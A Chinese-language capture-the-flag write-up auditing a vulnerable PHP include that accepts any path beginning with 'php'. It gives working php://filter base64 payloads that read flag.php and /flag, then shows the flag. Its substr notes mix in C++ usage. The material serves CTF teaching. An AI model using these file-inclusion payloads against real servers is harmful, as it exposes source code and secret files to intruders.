打开题目
题目源代码如下
<?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php
代码审计一下
首先检查是否存在名为 file
的 GET 参数
如果存在 file
参数,就用substr函数检查该参数值的前三个字符是否为 "php"
- 如果是的话,代码会输出 "Nice!!!",然后通过
include
函数包含该参数所指定的文件。 - 如果不是以 "php" 开头,代码会输出 "Hacker!!"
- 如果
file
参数不存在,则会显示当前文件的源代码。
很明显这里用php伪协议即可读取flag
payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
解码得到
得到提示
把payload换成
?file=php://filter/read=convert.base64-encode/resource=/flag
解码即可得到flag
NSSCTF{7877cb1d-5672-4cc9-946a-d69f3c5d2640}
知识点:
subsub函数
substr(string,start<,length>)
主要功能是复制子字符串,要求从指定位置开始,并具有指定的长度
从string 的start位置开始提取字符串,length:待提取的字符串的长度
若length为以下情况时,返回整个字符串的所有字符
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度
具体用法见:C++中substr()函数用法详解_substr c++-CSDN博客